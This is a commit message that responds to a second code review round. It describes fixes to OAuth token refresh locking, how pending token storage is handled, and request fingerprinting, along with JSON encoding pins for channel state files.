Review follow-up (willem-bd, second round):
- HTTPX timeouts bound each I/O wait, not a whole response: the refresh
holder now renews its lease every third of REFRESH_LEASE_SECONDS while
the token request runs and abandons it after REFRESH_MAX_SECONDS (120 s);
waiters outlast a live holder. Regression uses a real loopback endpoint
that streams its body for three lease lengths.
- A refresh whose tokens could not be stored keeps them pending
(unsaved_base_version): they are written back before an older stored
token is adopted or refreshed with, retried every few seconds while the
access token is still valid, and dropped once a peer stored a newer
chain. A failed save releases the lease.
- New token_request_fingerprint (extra_token_params and response fields):
a stored access token is reused only under the same request parameters;
otherwise the stored refresh-token chain is refreshed.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(channels): pin JSON state encoding across platforms
* test(channels): check encoding pins at each state I/O call
---------
Co-authored-by: huyengiang101086-spec <270684046+huyengiang101086-spec@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
